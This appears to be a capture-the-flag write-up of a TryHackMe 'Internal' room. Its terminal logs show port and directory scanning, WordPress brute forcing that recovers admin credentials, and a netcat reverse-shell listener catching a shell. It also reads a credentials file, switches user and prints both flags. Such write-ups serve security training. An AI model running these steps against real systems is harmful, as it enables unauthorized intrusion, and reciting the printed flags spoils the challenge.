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Penetration Testing Challenge

💢 We will cover the topics

Network Enumeration
Web Enumeration
Enumeration (Wordpress)
Exploitation (Wordpress)

Task 1 Pre-engagement Briefing

You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks.

Scope of Work

The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:

User.txt
Root.txt

Additionally, the client has provided the following scope allowances:

Ensure that you modify your hosts file to reflect internal.thm
Any tools or techniques are permitted in this engagement
Locate and note all vulnerabilities found
Submit the flags discovered to the dashboard
Only the IP address assigned to your machine is in scope

(Roleplay off)

I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.

Note - this room can be completed without Metasploit

Please do not stream this challenge in the first seven days of release (August 21, 2020)

I understand the scope of work

Task 2 Deploy and Engage the Client Environment

Having accepted the project, you are provided with the client assessment environment. Secure the User and Root flags and submit them to the dashboard as proof of exploitation.

kali@kali:~/CTFs/tryhackme/Internal$ sudo nmap -A -sS -sC -sV -O 10.10.1.37
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-17 18:34 CEST
Nmap scan report for 10.10.1.37
Host is up (0.056s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/17%OT=22%CT=1%CU=38220%PV=Y%DS=2%DC=T%G=Y%TM=5F8B1D
OS:26%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST
OS:11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)EC
OS:N(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   60.46 ms 10.8.0.1
2   60.58 ms 10.10.1.37

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.42 seconds

kali@kali:~/CTFs/tryhackme/Internal$ gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://internal.thm
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/10/17 18:36:40 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/blog (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/10/17 18:36:59 Finished
===============================================================

kali@kali:~/CTFs/tryhackme/Internal$ wpscan --url http://internal.thm/blog -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.1
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.1.37]
[+] Started: Sat Oct 17 18:37:00 2020

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://internal.thm/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://internal.thm/blog/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
 |  - http://internal.thm/blog/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
 | Last Updated: 2020-08-11T00:00:00.000Z
 | Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 2.4
 | Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <=================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Sat Oct 17 18:37:11 2020
[+] Requests Done: 51
[+] Cached Requests: 7
[+] Data Sent: 11.81 KB
[+] Data Received: 472.077 KB
[+] Memory used: 155.973 MB
[+] Elapsed time: 00:00:11

kali@kali:~/CTFs/tryhackme/Internal$ wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.1
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.1.37]
[+] Started: Sat Oct 17 18:37:58 2020

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://internal.thm/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://internal.thm/blog/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
 |  - http://internal.thm/blog/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
 | Last Updated: 2020-08-11T00:00:00.000Z
 | Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 2.4
 | Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / my2boys
Trying admin / bratz1 Time: 00:02:33 <===================> (3885 / 3885) 100.00% Time: 00:02:33

[!] Valid Combinations Found:
 | Username: admin, Password: my2boys

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Sat Oct 17 18:41:32 2020
[+] Requests Done: 3910
[+] Cached Requests: 32
[+] Data Sent: 1.906 MB
[+] Data Received: 2.295 MB
[+] Memory used: 833.793 MB
[+] Elapsed time: 00:03:34

kali@kali:~/CTFs/tryhackme/Internal$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.8.106.222] from (UNKNOWN) [10.10.1.37] 53194
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 16:41:43 up 9 min,  0 users,  load average: 0.59, 0.52, 0.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1071): Inappropriate ioctl for device
bash: no job control in this shell
www-data@internal:/$ ls /opt
ls /opt
containerd
wp-save.txt
www-data@internal:/$ cat /opt/wp-save.txt
cat /opt/wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:bubb13guM!@#123
www-data@internal:/$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
www-data@internal:/$ su aubreanna
su aubreanna
Password: bubb13guM!@#123

aubreanna@internal:/$ cd /home/aubreanna
cd /home/aubreanna
aubreanna@internal:~$ cat user.txt
cat user.txt
THM{int3rna1_fl4g_1}
aubreanna@internal:~$

User.txt Flag

THM{int3rna1_fl4g_1}

Root.txt Flag

THM{d0ck3r_d3str0y3r}

Internal

💢 We will cover the topics​

Task 1 Pre-engagement Briefing​

Task 2 Deploy and Engage the Client Environment​

💢 We will cover the topics

Task 1 Pre-engagement Briefing

Task 2 Deploy and Engage the Client Environment